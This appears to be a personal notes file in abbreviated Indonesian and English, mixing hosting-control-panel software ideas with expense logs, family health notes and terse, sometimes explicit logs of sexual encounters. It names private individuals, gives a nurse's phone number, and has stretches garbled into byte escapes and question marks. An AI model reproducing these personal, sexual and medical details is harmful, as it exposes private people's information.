28 2250 * kng ridw \xE5\x90\x97\xE4\xB8\xAA\xE5\x91\xA2\xE7\x89\xB9\n\nml 26agu 2115-50 forepl, donk\n\nml 25agu 0900 \@ardjuna htl, f karn kurs\n\nml 23agu 20.00? \@ardjuna htl, f \xE7\x89\xB9\xE5\x8F\xA4\xE4\xBB\xA3\xE5\x91\x80\n\nMl 21ag 2110 krgnyr jiaolian\n\nMl 19ag 2335 krgnyr jiaolian meihao nanren\n\nMl 19agt 22:50 youyongjiaol\n\nZh 18ag 2214 zai imper de youyong jiaolian\n\nZh 17ag 2321 1bdg 19sui de zhaopian\n\n2co esc- in bash\n\n2dl turbo\n\n2co yapceu talks: reactive programming\n\n\n\n2dl grammar catalog nisf?\n\n\n\nml 15agu 22.10 f donk mud, made 35\n\n\n\nga kamus bahasa indonesia #e\n\n\n\nga/sp create textmode screencasts using term.io, ascii.io, shelr.io, etc\n\n\n\ngd/ga: posting ke situs2 macam tionghoa.info, ada artikel tentang hari libur nasional, daftar kode telepon indo, ...\n\n\n\n2dl n put in mp3: daftar konjugasi n referensi grammar fr. Zh. 2dl pronunc mp3 n article: ar. it.\n\n2dl referensi grammar en, id, su.\n\n\n\n2co buku everythibg is obvious\n\n\n\nZh 0627 0530 ww orl\n\n\n\nl beda or chi yg lbh bnyk nanya, or indo... lbh bnyk nanya k tmn sndiri. annoying sometimes.\n\n\n\nl angpau 400usd asuk alung, 1000hkd kukuh asin\n\n\n\nthyrozol 19jun\n\nml 19jun subuh hk klr fuck biasa 5min, ..no kiss abs bgn. fts klt co hk.\n\nml 18jun subuh hk klr fck biasa 10min. +klr\n\nl mixian 20+8. fts bpk pdk dedek di grp tour\n\n\n\nl lofeway lowfat kefir mango 4/10. differently acidic, kecutny beda. its over 1mo expired anyway so all bets probably off. loacker q lemon 8/10. boston bagel 7.5/10. chipotle mexican grill, tabsco yg hijau dan merah.\n\n\n\n l greg. how other people are so bawel while indo talks little, seldom asks stuffs. china g mau rugi.\n\n\n\nriap specify client version. specify desired function version. ri: allow func/entity to have version (if not already so).\n\n\n\nl french in canada.\n\n\n\nl guylian truffles. artisanal belgian chocolate. 23 biji 7.95 \@dutifree canada\n\n\n\nl \xE7\xBE\x8E\xE5\x8A\xA0\xE6\x97\x85\xE8\xA1\x8C\xEF\xBC\x9A\xE6\xAF\x8F\xE4\xB8\xAA\xE6\xA5\xBC\xE5\x8F\xB0\xE9\x83\xBD\xE5\xB7\xAE\xE4\xB8\x8D\xE5\xA4\x9A\xE4\xB8\x80\xE6\xA0\xB7. \xE6\x8B\x8D\xE8\x85\xBB\xE7\x85\xA7\n\n\n\n2dl film cluzet yg baru\n\nmkey raid ssd, gigabit eth\n\n\n\nss 13jun mlm gw klr ga lama setlh di bwh lalu fck misspos bntr\n\nss 1jun ejac by kocok, tp dimasukin sm liana\n\n\n\nzh m130251 m ad, brown skn\n\n\n\nfr 14des accueil, l\\'article, sans appel\n\n\n\nq fr beda bonjour a tous. vs bj a toutes\n\n\n\nsp idea interface web ala google/chrome. ptama masuk hny ada search bar. dan di bawahny ada bbrp link atau button, mis email, fm. mirip spt most visited page di starting page browser.\n\n\n\nada interfaxe klasik dg drop down menu jg.\n\n\n\nsp prinsip pemanfaatan energi/efisiensi. mis saat backup sekalian collect stats about files. saat fixperm sekalian userstats atau sebaliknya.\n** [2013-08-14 ] bb 9850\nQ jadwal museum di gatsu\n\nMl 12agu 2205 +grg85 fmybot\nMl 11agu 0610 - 22ybot indtop\n\nE 10agu 20taxi 3 kopajsa mkn 132\n\nCpanl modul2 supervise process app::sv\n\nE 4agu 32 taksi mkn 185 kopaja 6\n\n2co mailpile\n\n2dl despicable me 2\n\nE 3agu Kopaja 18 makan tawan 60 tips 3 100vsogo liana\nZh 5ag 1340 * donk\nZh 3agu 1730 1/2h- * donk f &fd\nZh 3agu 912-920 sammarie\n\n2co das (pengganti whois), di cpan ada 1 modulnya\n\n2co yara project utk identify malware\n\nSp api: check_files, generic + plugins to check for malware, virus, ...\n\nCpanlists: add questhub stencil: install userscripts, create a list on cpanl\n\nCpanlists: special list: modules I'm using utk dpt data is this module used. Tampilkan jumlah user.\n\nCpanlists: more special lists: modules to avoid.\n\nCpanlists: rating for each module.\n\nCpanlists: author lists.\n\nCpanlists: special lists: adoption. Public lists yg bisa ditulisi siapa aja.\n\nMl 31jul 00.30 *\n\nL hasil cekup immanuel min selisih 1 h kerja.\n\nE 29jul 539 coralan5 x56, angk 5, 250 kasih pinjam mang ade utk berobat dg ceu irah + obat. Jinny vaksin 200. Papa 50. Xtrans 160.\n\nL 29jul ????? ????? ????? ??? ???? ????????? ????????????? ????silent ???? ??????????????????. ????????????????????. ????. ????. ??.\n\nSp make sure each hook can accept multiple scripts, like in apache and not git\n\nGa: service kayak mailgun, validate email, did you mean gmail.com if typed gmail.cm\n\nE 28jul 5 angkot 10 ngasih duit 205 mkn 70 tomi travel\nZh 28jl0830???\nZh 27jl2250 ??\n\nQuote: lots of lessons in life are meant to be experienced, they can't be taught.\n\nLearn arabic pronounc\n\nE 27jul 160 xtrans\nE 23jul 3 kopaja 20 taxi\n\n22jul 0713 ??? ???? ??? ?????\n\n22jul 46 mkn hokben 10 park 5.5 angkt 31.8 ace tongkat madu, 36.5 indomaret klenteng,\n\n2sub berita china positif\n\nCpanl tanggal add (dan versi terbaru) sebuah modul saat diadd dan diupdate? Atau keep it simplr dulu ga perlu, cukup date aja.\n\nHow to save all tweets\n\nHow to save all fb comments/status\n\n2co ag (faster ack)\n2dl scandal season 1\n2co git annex assistant\nSp bug reporting program bagi klien\n\nMl 27jul 05.15 * ?? ??\nMl 25jul 07.00 - +o g di bwh. Fck d pinggr rjg. Gesek2 di v, f: m21 n made40\nMl 24jul 23.00 * +o k kck ggl, gsk n rojok v, fck young hs boy I bway\nMl 20jul 01:55 * +k satp\nMl 18jul 00:15 * +k ww\nMl 14jul siang * +l k yy\nMl f 14jul pagi mo ngjk, pijet. Tp lgs off\nMl 11jul mlm * +l sudra bdck\nMl 11jul pagi f rudeboy27\nMl 9jul mlm\nMens 27jun\nMl 22jun mlm o- made\nIdea periwrap memoization\n\nE 28mei 4200 dr angpao utk lunasin eastern, 15000 dr debit bca. +31200 angpao geastern , 460\$. +24345.5 +2000rmb maxis. +7000 pberkatan.\n\nMl 25*, 27mei\n\nL ??????????? ??????? ???? ??????????????? ?????????????. ???. ?? ?. ???. ????\n\nPakai do {local \$/; <>} idiom\n\nL 23mei live in the now\n\nL Biotes pake greeter di depann. bikin mejs rep/konsul dl d depan, advise ambil cek apa dll. Tp dia ga main bnyk cabang ya? (3 bdg + 1 sby). Lbh fokus k plyanan. Ambil kalangan atas maybe. Pake label print komp utk wadah urin.\n\nBikin email klo cancel service di mwn\n\nZh m211109???? ?? ??\n\nBagian pendaftaran RSPAD :\nsblm ke dr Terawan,sebaikny ke dokter saraf dulu (dr Tugas/dr Andri) supaya gk bolakbalik.utk appointment dokter saraf hub sr.Febby 081317690790.\n\n????????? ??????????. ???? ??? ????? ??????? ?????????? ??????????? ?????.\n\nZh 13m2245 ???\nZh 14m0548 ??? ??\nZh 14m06220640 ????\nZh 14m07320740 ???? ????????????\nE 12mei 20park 4tip 100 nonton bronto\nE 11mei 60nntn startrek\n\nSp ststdump jg periodny berlevel spt rrdtool\n\nE 10mei 12 park 2 tip\nQ signal when terminal size change (e.g konsole qindow size changed)\n\nL mimpi 9mei gw married sama cosmas, how weird. Pas mau pberkatan gw nyesel n think wtf I'm doing, ga bnyk komunikasi dg cosmas dl lg mau gmn2nya. Ceritanya cosmas cerai dg cewe setelah bbrp bln, gw jg dr lina cerai plg stlah 1-2bln. Lupa pjanjian pranikah lg, tp lalu mikir mgkn bs get out of this krn samesex marriage is illegal. Lalu sempet ngobril akhirny dg cosmas, ga pake sex kan?\n\nProcgov multiplexer (run n copies)\nSp cari ide dr dockapps, allow creating something like that in sp\nSp cli interface on the browser, with tab completion and everything\nProcgov get process exit code\nProcgov set env for the child\nProcgov set cwd of the child\nProcgov filter/hook to process stdin/out/err output\nProcgov Sp userguide, selalu mention jg cara commandline\n\nE 8mei 40 cukur 30 pedi 5 tip. Cukur mama 50. Pedi mama 30. Tip 2x 5. Sate 22.\nDs mention type::tiny n type::params. Vs ds? Default value, not opaque n configurable compilation process\n\nGa daftar angkot di bdg (angkot.tibandung.com)\nQ path di multiarch? Detecting archs?\nE 4 mei semir 50\nE 5apr 37 bubur\nZ m20915 ? ???? ?????\nZh m12251 ???? ?????????\nYg liana suka: pisang sale, pisang kecuali yg jd keripik asin digaremin (semua yg manis2 suka)\n\nQ asam urat n rematik\nE 30apr 189sepatu papa 51 kaoskakix 3 putih pjg sedang label yonex garis hitam\n\nGg 48716 6.25% 2085 7hari 25/4\nE 30apr 47 (bubur 11, kuping 10/o, cakue 4)\nE 29apr 150p syaiful, 11000 k liana, k g eastern 4000, park 15\n\nIde produk jamu+probiotik+vit dlm 1 butir\nN mwn pajak 2012 6.3 -> 5.1 -> 5.6 sama gw biar lbh deket riil\nZh a290651 ????\nE 28apr 1 tegallg 4 papa receh 22park 10grj 48.3 wlaos 5.7tips\nE 27apr 1 wc\nZh a270652 ?????\nE 26apr taksi 56, 500 h\nZh* a261340 ???? ?\nZh a261435 ????\nZh a261730 ????\n\nProcgpv: daemonizability\n\nProcgov: co circus. Redirect stdin/stdout to sockets... Vice versa.\n\nProcgov: co supervisor\n\nProcgov: spt monit, cek jg connection tcp/udp utk mengecek child functioning ga? Restart jg tidak.\n\nProcgov: reporting plugins\n\nQ emacs, c-s yg work over all buffers\n\nE 23apr 16 tips 5 tips\n\nE 23apr 61 hypersq makan, angk 4, park 4\nL. L. Susilowati mbak susi yg di elim\n\nL 16apr gw cukur papa\nSp completion as one strong/sellingfeature\nSp remember hosts mentioed in cmdline, for completion\n\nL 22apr polident\nPl color mixing in 256color. Convert rgb to closest 16/256. Support konsole 24bit color codes.\n\nSp integrate with bakmanager.io/self-service (backup monitoring, POST everytime backup is perfornmed/completed)\n\nAnsitable Remove overloading\nS a161449 ???? ???\nS a160742 ????\nS a150253 ???\nS a120105?????\nE 9apr 900 gaji suster\n\nSp create user: set full name (and other unix fields)\n\nL 7apr skimmed in the beginning qas the command line. I don't like the mwtaphor batmobile n \"tanks\" and how high tech linux is. Its untrue. But some things hit the nail on the head: Hackers hate duplication of effort the most. Too long, especially the analogy explanation about culture. Lalu hole hawg, jg gw lewat, panjang. Buat insider, annoying baca long prose gini krn ga accurate anyway. Dan his metaphors are not the best, methinks. \"All the flashy formatting options thad had not even existed before GUI came along\" hm, word processor udah punya bnyk formatting lah sblm gui, ingat wp/ws/word 5? Crrita dia pindah dr mac ke linux th 1995. Nama dir unix pada disingkat scr brutal krn repetitive stress disorder: not thr whole story. Not the best explanator or story-teller deh. Blm pernah liat linux crash even once. Clearly, blm pake linux long/often enough. Terakhirny malah ke beos (and later osx) jd dia tetep aja butuh \"disney\", luddite?\n\n2sub /r/doesnottranslate\n\nCpanlists: an easy way to link to other lists, e.g. [list:57890].\nPl dux, mention zoidberg. Mention perl -ne\nCpl: L, U, App::p. Modul2 autouse. Modul2 mpermudah cmdline.\n\nS a60814 ???\n2review mojo::dom vs html::query vs pquery\n\nPerinci::sub::declare (kykny penah ada juga perinci::sub::simple or something uttk nulis: func foo => (summary => \"blah\", args => {...}, code => ...); \"moose-style\" syntax.) Ini alternatif kedua, \"ruby dsl style\", lbh limited krn ga semua keyword (propertty rinci) disupport, tp sub decl dlm natural perl:\n  func \"foo\"; # how to make this unnecessary?\n  summary \"blah\";\n  description \"blah\";\n  Sub foo {...}\n\nS a10806 ???? ??????\nE 31mar 10 jagung rebus\nE 30mar 5 tip, cc xxx le marly\nE 30mar 30 kcmt papa +3.5\nS m300902 ???\n\nN mata kering gw bs disebabkan autoimmune disease, dan bs berhub dg rheumathoid arthritis (ra) yg jg autoimmune\n\n2co php composer/packagist (pear succ?)\n2dl investigasi\n2co habitrpg.com\nS m230442 ?????? ???????\nS m222030 ?? ???t ????\nS m220019 ????\n\n19mar. N morning walks with my dad n jinny in paskal hypeesquare will probably b my sweet memory later in life. Gw suka terswnyum aja klo inget kalkuan si papa. Kmrn ikutan guangshao si papa pensaran sampe merih nametag2 panitia yg sedang terkalung, ga cowo ga cewe. Trus dibaca. Dan kenalan. Kyk anak kecil, mau apa gs dilakukan. Bagian otak rasa malu dan etika jnya hilang. Ei meja makan gw larang bbeerapa kali akhirnya kesel n berdiri mau nuangin sup kepiting. Lempar2in tisu ke kursi sebelah.\n\nTd belanja ucanje, pilih merek yg bukan maling, krn gampang dibuka. Maaih pinter kok papa gw. Gw jd ada ide nyuruh dia nulis. Ide2 gw bnyk yg gagal selama ini, mulai dr cross sticthing, karu2 selin domino, buku tts, buku gambar, dlsb.\n\nSp integrate w/ whmcs: buat api layer. Bs kirum tiket. Record client I'd and/or hosting id. Ba handle peprindahan antar prushaan hosting. Ppindahan antar klien whmcs.\n\nN nana liana dan nana anak ayin susah diingat ko ahong\nN kesukaan mama liana\nN sunwa, feilian, siumben jf musuh dg sunwa\n\nRes ruang kerja\nRes matras\n\nE mar 5jt dr atm mand buka rek bri liana,\n\nS m130130 dims\nE 11mar 10park\nE 10mar 15park\nD 11mar donks ??????????????????. ????? ????????? ?????. ???? ??????? ???????????.\n\n?git annex, git bup, or git media\nS m90521 movado\nS m90122 ws etc\n\nL 5mar papa beli 2 baju polo t. Jogja ciwalk. Gw beli mountain jacket hijau scottlight.\n\nL tensimeter digital omron sem-1 (old), hem-7203 (500rb), hem-7200 (750rb). 4 mar. Nitip omron lama.\n\nL ibu lydia susanti, ibu sun\nE 5 mar: 12 park\nS m020622 ws btt, polc\nBerburu buku komik bekas(jkt, bdg)\nS f280600 ws supr hyp\nS f2705010515 ws\nSplit fin pass, jgn include ke laptop pas ke us. Atau priv-finance?\nQ/book design various things/places, why things are designed that way (1001 why)\nS f240325 lv ws, dim, ws\nS f240125 lv ws\nBahan bacaan selevel/size ???????? (zh, fr)\nSp sprint for wheezy\nS f211125 ws bear\nS f210605 ws\nS f200107 dim sms\nS f160618 donks\nS f120130 ws ww ws\nL 11feb dibeliin kolor oleh liana\nGa parse gmc\nL 11feb papa sk nyiumin mm\nE 10jan 20park\nSp allow user to run hooks (run as user/cgi-user/nobody-user of course)\nGa api utk harga pasaran mobil\nGa api utk detect merk n model mobil dr upload\nGa api utk detect xxx from upload pic\nGa api utk detect mrek n model mobil agak useless? Utk convert db lama krn poskota (krn mrk ganti program)? Utk extract harga, tahun, ...\nUtk store db utk ngitung harga pasaran? Wkt user entry jd bs suggest harga.\n\nSp api email add address to forwarding, remove address\nSp multiple sources of components\nSp sign komponen\nE 5feb 15 nasi\nS f51401 clee josand\nE 3jan 100gas\nE 2feb 10park\nQ cpanel email autodscovery?\nSp rrd dengan skala 5-10 detik\nS j291945 dkos, miegoreng\nS j291300 d kos, adin, stres\nS j190524 josand spd\n** [2013-02-02 ] bb 9850\nSp notif by postal/mailing, mis print/mailmerge n naruh pberitahuan di pintu kos. Perlu ada sistem utk track n manage ini. Klien bs liat status pberitahuan dll.\n\n2review: hou hsiao hsien\n\nE 14jan 12 jagung, 1 pengemis\n\nJadwalin ambil giro kop cipag\n\nN liana measure 34c, cln dlm L.\n\nN papa liana. Married. Lenawati. Koko yg meninggal. Operasi mium. 10jt. Pian zi fang.\n\nQ improving short term memory\n\nN obat chinese pian zi fang, an gong\n\nE 12jan 12.5 bubur, 150 liana sushi groove\n\n2co penelope trunk blog\n\nSah perlish n js (try translating by handm then find kesamaan).\n\nS j090655 punggg ww\nS j070801 ws f di ktr\n\nSp stat iostat\n\nSp iostat sbg slh satu indikatir server sibuk/gak n udah mdekati kapasitss blm\n\nSp klebihan: auto limiting, bs mnentukan kira2 1 server muat beraps akun.\n\nSp autoupdate hanya utk critical security upgrade\n\nSp try to ship something asap. Mis dlm 1-3x sprint.\n\nS j050444 ws rom, yao biao bai, xie xin. Donk more nrenwei, tp yg baik\n\nE 4jan 70 nntn hobbit\n\nSp #e record last time email is checked via imap, pop3. Smtp. Utk tau mana yg abandoned email account.\n\nZh w 4jan claustrophobia, ...\n\nSp perintah utk kirim ptanyaan, kirim request troublrshooting, etc via command line.\n\nSp 'spanel upgrade' jadi alias utk perintah spanel-upgrade.\n\nSp wordpress companion, ganti nama?\n\nSp jasa instalasi gratis.\n\n???\nS j040818 yuno\nS j031650 ws, kt kurs.\n\nProcess::govern. Begitu lebih dari x seconds ga ada output, otomatis tampilkan progress report.\n\nSp add subdomain: option to not restart webserver. Fungsi utk add multiple subdomains sekaligus.\n\nSp wkt delete subdomain, ga perlu dulu restart webserver. Cukup wkt add aja.\n\nSp hooks. Provide info to hooks via env variables.\n\nSp strategi utk move account antar server tanpa pack/unpack. Mis di vps, 1 acct memakan space 90% disk. Mau dipindah ke server fisik. Kalo tll susah sih ga usah, ini bukan normal use case.\n\nSp astroturf? (Spt book authors write reviews of their own books on amazon)\n\nMkey send sms cek pulsa dulu.\n\nGapi send sms (paid). Cek pulsa.\n\nN suster 29des ke dr uung elim, neurobion, amlodipine, n. Becak 30rb. Dr 35 + 27.6.\n\n2co phpshield\n\nFr w : world record?\n\nReddit for food lovers/tasters. Reddit for fashion...\n\nE 23des 1000 vj ci achen (ga jadi)\n\nL tgn pendek.\nQ tgn panjang/pendek, kaki pjg/pdk\n\nReview semua binary spanel, mana yg bs nyatu ke bin/spanel, mana yg msh harus independen.\n\n2co cara extend exim dg skrip external, modelny spt apa.\n\nSp disable spanel (or warn warn warn) if not up date after x days/months. For security reasons.\n\nS d190730 ws\nS d190624 dmas tlp\n\nQ tricks to speed up rsync, like mlocate (?) Only stat directory, if mtime of dirs do not change, ..\n\nSp bayar komponen 1 dolar per bulan sampe bln kelima, setelah itu gratis. Bayar utk instal di 10/20/unlimited server lgs.\n\nDsah faq, is not even turing complete. On the contrsry tries to make comnon uses easy. Shortcut for simple stuffs.\n\nSp component to search/install/uninstall components. Sort by popularity, rating, ... See Reviews. Add review. Rate. Bookmark/wishlist.\n\nDsah skip spectest jika versi tidak sama\n\nSp convert mysql db engine (mis semua yg innodb jd myisam, bs filter which ones)\n\nRf control group menggunakan tags.\n\nBeda text mode, console, terminal, cmdline,\n\nRf renderer ada opsi utk include certain fields only, mis pericmd hanya ingin ngeprompt password. Sisanya dari cmdline args.\n\nRf renderer spt console (or cmdline? Name?) ada callbacks biar lebih fleksibel, t state machine. Bs jump atau repeat questions.\n\nPl idea translation using tied scalar. They look like normal strings but depending on setting can change value to its translation.\n\nSp automate proses abuse, search/scan text for domain name, otomatis kirim tiket, jika tdk direspon dlm x jam ada opsi utk disable, ... Utk malware, bs otomatis disable. Kirim tiket. Jika ga otomatis hapus. Tiket bs direview dulu oleh staf sblm dikirim. Pokoknya how to streamline and automate the process as much as poz.\n\nCoba pakai sub::uplevel utk mengelabui log any di log::any::for::package. Lakukan sebelum log->.\n\nQ mangga arum manis ga berulat spt dermayu, disemprot?\n\nE n270413 donks\n\nSp modul utk cek request2 dr malware (mis 192.169.0.64 kna malware)\n\nE 25nov 25gamemaster, 2,5 wc\n\nSn240550 ws rip h cloth n f in ofc\n\nW 21nop ????une hormone, le pancreas, une insuline,\n\nSp permudah bikin opsi hosting plan wordpress only\n\n2co liveconfig\n\nS n191704 c di hyp\n\nFr some things cannot be taught, some people cannot be taught\n\nSp api utk beli software spt cpanel dll\n\nSp api utk setup server lain (+pasang license)\n\nKelebihan sp: troubleshooters\n\nQ Panduan makan seiring we age\n\nSp perl, show recent modules in metacpan. Search modules, ...\n\nSp python ...\n\nSp ruby/rails. List recent gems from rubygems. Install gems, ...\n\nSp wrapper rinci-like api for metacpan/seafch.cpan\n\nSp integrasi dg google webnaster tools. Mis liat statistik. Otomatis pasangin di wordpress kode js nya. Dll.\n\nSp wanda, bs search google jg? (Utk apa?)\n\nIdea sumbang mama jimmy katarak?\n\nQ panduan harmonize warna theme\n\nSp install installatron\n\nSp fixperm yg aware webapp wp dll, tau dir mn yg 775 dan sisany ga usah\n\nSp wp automatically run wp upgrade\n\nSp email cenderung berbasis hosted aja, mis spamexperts, gmail\n\nS n150606 joc shwr cikini\n\nQ price index, house price index di indo/jkt\n\n12nop w ????\n\nQ makan glukosamin sejak muda good/preventif?\n\nSp when disk space is low, notify. When disk space is up again, send notify cancellation.\n\nPl/sp split monitoring vs metric vs notif. Like sensu + graphite + pager duty di python.\n\nSp simplify ux, decide which partition to use as home data for new accounts (cari yg /home/ ean bkn /backup/. Jika partisi yg dipake itu mau abis). Calculate perkiraan space cukup ga lewat statistik. Berapa akun lg kira2...\n\nTapi simplified settings itu terutama utk user, bkn admin. Interface omnibox barangkali cocok utk user. Coba liat cara android search and in general the android interface.\n\nSp features to sell: detailed and easy monitoring of aspects of server, e.g. Monitor/alert large files being downloaded/uploaded to server...\n\nSp option to forbid changing certain php.ini settings by user/reseller #e. Contoh admin ga mau ada user yg ngeset disabled_functions atau enable register_globals... Bisa dg php.ini ekstra yg diload php setelah semua php.ini.\n\n2co saasu\n\nThoughts bedakan antara messaging queue and work queue. Spanel msg queue should just be a thin wrapper over an existing msg queue such as redis? Or perhaps start small by using a sqlitr backend. Baru nanti work queue based on msg queue. Liat artikel di goog reader. Co api dari sistem2 ini.\n\nProgany what about cgi/ajax, also server push? Also Co <progress> element in html5\n\nS n50345 ws mellw rbt dg l. Mcrat k kpl\n\n2co xenforo\n\n2co urlfind.org, google server-status, nagios page title, servinfo, ...\n\nSp 2check other site: server-status\n\n2co blesta, hostbillapp. 2co interworx\n\nSp api for recording n getting statistics. Pokokny gw pengrn mis record foo bar. And later getting foo bar between certain dates. Predict foo bar at date X. Trendline n chi2 or other curve.\n\nBisnisindonesia utk liat nav. Rtgs sampe 2jam settlement dr bank npengirim. Dr bank penerima ada lagi proses. Normalnya total 3j, plg lambat 14.00.\n\n2co mitmproxy\n\nL my knee is one of the weakest. Posissi kuda2. Bunyi. Skr sakit kalo kneeling dikit aja. Ga tau nanti udah tua naik turun tangga sakit ga. Dari gw smp pas dl naik speda.\n\nS o310617 yud\n\n2co uibook joel spolsky\n\nS o260501 ws\n\n2dl model/simulation economics...\n\nIod non round tripping not a problem until a program need to write to config.\n\n2co crab (spt cron)\n\nsp/ga: ada online json editor utk masukin json ke api via browser\n\nSp: fm: mouseover atau klik kanan, lgs preview isi file\n\nSah: opsi normalize: rermove _ agar nanti lebih mudah utk dicompare.\n\nIod: saat generate validator reuse jika nschemanya sama.\n\n2show daily suku bunga lps, bi rate\n\nSp job queue yg immediate, begitu di add lgs jalanin. Pgsql+listen/notify.\n\nSp mysql config di mn mysql hny start swaktu2. Liat setting kloxo.\n\nSp roundcube calendar plugin\n\n2co uservoice\n\nGa nilai jual kurs bca/... *historical*. Crowd source via cli client. Jalankan di akhir atau via cron. Beri reward poin atau api key. Help make the web programmable.\n\nCampaign: Help the gudangdata api. Crowdsoirce. reward client.\n\nS 10okt 57 bediscr, k yeye, pic mj mus\n\nSp human query, mis: list emails which is created before xxx #e\n\nSp api check last login n jumlah login ke pop/imap utk akun email ttentu. Ip login terakhir dsb. Kalo dlm <5 menit gak usah scan log lagi.\n\nGa/sp? just tack .json and everything should work\n\nSp list email folders n summary isinya, mis spam folder 2 emails, folder x ... #d\n\nSp option to run spamd, smtpd, on another machine\n\nSp option to prefix ftp users (like mysql users)\n\nSp check apakah ada yg sudah mencoba mengakses exploit whmcs tertentu, msi boleto (2012-10-06) /modules/gateways/boleto. Cek ip nya, blokir, ...  Semua lewat api. Api utk search some strings in access logs for certain domains and dates. Si plugin ga perlu run as root dan bs didevelop oleh community/3rd party.\n\nSp restore some files from backup. Restore mysql. Restore settings. Restore some other items.\n\nRf create form def from html <form...\n\nIod two forms of array/hash and recording which form it's in file, for round tripness.\n\nSp gitorious (softwarenya bs diinstal)\n\n2co mod_evasive, csf\n\n2co anyevent, the dbi of async loop. Anyevent::http utk http request (tapi bs juga http::async).\n\nSp vary mysql userstats bergantung pd ukuran tabel, jenis tabel (innofb lambat utk count), kecepatan perubahan, ...\n\nSp saat backup, perkirakan ukuran backup n estimate time.\n\nSp strategi package/migrate account direclt rsync, utk large accounts. Menghindari disk writes tll bnyk. Lock dl account sumber.\n\n2co zpanel, ispconfig\n\nGabung rss cpanel/... Dg yahoo pipes (juga plesk, kloxo, da)\n\n2sub debian devel/forum\n\nSp faq isn't shell access insecure?\n\nSp option to not allow user to change cgi-user to cgi.\n\nQ kvm vs openvz vs xen. Xen jg ada 2macam hvm n ...\n\n2co solusvm, onapp (control panel vps)\n\nSp ide marketing diskon for 2nd server, 3rd, ... (Gmn dg lic yg dibeli dr reseller?)\n\n2co csf\n\nS 26sep donks 3s ce\n\nPl Split periutil. Util when writing func. Util for declaring deps. ...\n\nSp limit db size (table size, num of tables, ect). Sekalian manfaatin info dr userstats. Jalan reguler. Kirim notifikasi kr klien. Suspend db/akun/... On over.\n\nSp plugin to backup not via rsync but tar? Ease of ftp, backup to 3rd party (s3, dropbox, github?). File gatherer, exclusion sebaiknya displit jd gampang bikin kyk gini. Atau tar aja hasil backup rsync?\n\nSetupftsnip option to undo by removing snippet, not by trash/untrash (perlu di spanel)\n\nQ why heart evolve that blood is discharged from lower ventrivle?\n\nSp report selalu ada summary dari bot/algo, spt di laporan usg, ecg, ...\n\nPaket Cek up pensiun di immanuel (osteoporo, dementia, jantung mama)\n\nSp restore account perlu some security checks. File di .tar ga ada yg setuid, keluar dari /u/User, ...\n\nSp hook to check recently uploaded file via ftp, web upload, api upload\n\nSp menu web interface yg mirip cp #e\n\nQ klakuan early adopter\n\n2co maldet\n\nSah ex: form edit transaksi. Array each_elem=>rec, min_len: 2. Rec: hash(or perhaps rec), keys(fields): acc: string, amount: money. Check: 'sum(map(_[amount])==0 && num(nil)==0 || num(nil)==1'.\n\nSah ada schema(/klausa/cset?) yg dieksekusiny every onchange focus field, atau pas submit aja. Pake .attr? Atau extras?\n\nQ tips beli property\n\nSp support apsstandard? Provide api n plugin doc. Allow devs to upload 3rd party plugins. Develop Untrusted api. Don't run code as root. Run as user? Allow temporary access to webapp n file manager api (but normal users already has access to user api).\n\nSp/ri code run as... Allow api that runs as user.\n\nUpf don't overwrite passwd files direcltly, create new file n rename (or, by default create backup)\n\nSp upgrade and customize webapp.\n\nSp clone server (w/wo user, ...)\n\nSp why deb: great support for online upgrade (unlike centos? \"As far as I am aware of, Centos doesn't support major upgrades (such as 5\nto 6 and so forth). Another reason why I love debian.\"). ...\n\nSp utk dpt duit di awal, offer Lifetime license (directadmin 300\$). Early supporter appreciation offers. Hati2 jgn kasih free.\n\nSp multiple ftp accounts penting. Gmn cara work in cp?\n\nGmn cara resellers work in cp n pl?\n\nSp version by year?\n\nRi confirm mode selain dry run mode. Prompt question.\n\nSp spi: disable all service except. Disable all user's service except.. #e\n\nQ stilnox\n\nSp oncp, salah satu tujuannya adalah utk collect zones\n\nSp api investigate hack. Cari file x dari xfer log n spanel log, mulai diupload tanggal brp dr ip mana, atau mulai diakses tanggal brp dr web log. Jika ga pernah diuploa,d mgkn diceeate dr web, atau via shell. Cari jg dr histori backups.\n\nSp api backup/restore multiple backup.\n\nSp convert to/from da\n\nSp new db format. Archive like zip/rar/... So easier to select only certain items. And passwordable. (Tapi klo user pilih .tar jg gpp). Di dalamnya ada lagi mysql.NAME.sql.gz, files.tar (.tar.gz), zone.xxx.yaml atau zone.db.(.gz). v, etc. Api to access items, list items, delete/add, info (v, date created, mtime, ...). Jd actual archive fmt boleh berubah. Dir jg msh boleh.\n\nSp acct backup only settings (for site x), mysql (db x), pgsql (x), ... Restore only those ...\n\nSp/ri async client. Ex: spanel call mod1 func1 arg --arg2 v -- mod2 f2 arg ... -- ... Bs paralel, lgs return. Get result? Spanel get-result <callid>. Use case? (Biasanya buat resolve dns). Commands? Call. Call-async.\n\nQ alzheimer, pemberian nootropil\n\nSp api di dns server, temporarily increase ttl of all zones n records, mis saat di ddos atau load tll tinggi. (Ref: 11 sep godaddy dns di ddos)\n\nSp di each function metadata, document function runs as user caller atau root atau ...\n\n2co linux env security\n\nSp hooks before update n after (in cp: /scripts/preupcp n postupcp)\n\nSp ftpuser (ftp msh sangat umum dipake). Atau pake subuser aja?\n\nSp Custom server, account, subuser, site, mailuser parameter. Utk dipske oleh ext atau plugins.\n\n2dl foundation kev rose\n\nSp per-database mysql/pgsql logs\n\nToys for creativity\n\nSp no longer uses piped apache log, but needs to log to global log (rotated often, maybe piped) to monitor activity quicker, if a site is getting spiked hit, slow it down or disable it temporarily. What about other daemons?\n\nSp yg perlu utk release: doc user guide, doc dev guide, text::prettytable, log::any::app fast (#c)\n\n2blog what made u not productive?\n\nSp Backup option: unmount /backup after done (whm ada opsi ini)\n\nSp make sure we can hide the fact that a certain ip/site is managed by spanel. This means, adding /webapps and /spanel alias is per-vhost and can be skipped.\n\nS 6sep 0618 yud donks\n\nSp api to restorr server. Option to restore /etc/ ssh host key.\n\nSp control plugin deprecation with v.\n\nSp plugin yg blm diverify source nya, ga dihost di spanel.info, tp kita host di 3rd party site. Di spanel.info bs atur revenue dll.\n\nQ healthy to sleep krg during weekdays, bnyk during weekends?\n\nQ increasing concentration\n\nBook n forum: piracy, protecting ip...\n\nIdea fuse driver for riap. Read = get metadata. Write = call.\n\nQ How rto find out if driver is a cellphone talking guy (sms, faster driving, eye shift, ... These ar of the same type)\n\nL stupidity ngasihin duit ke atang 100rb dianggap 50rb, n utk ngurus ktp ngaish 150rb (jd 300rb), pfhl 30-50rb jg cukup (2010?)\n\n2blog (after sah?) When is code generation appropriate? I love code generation. Reduce boilerplate. Sort of like creating ur own compiler/lang but not as laborious. When? When want speed like perl. DTa validation: we want to do everything that perl could.\n\nSp utk mysql 5.5.1, configure 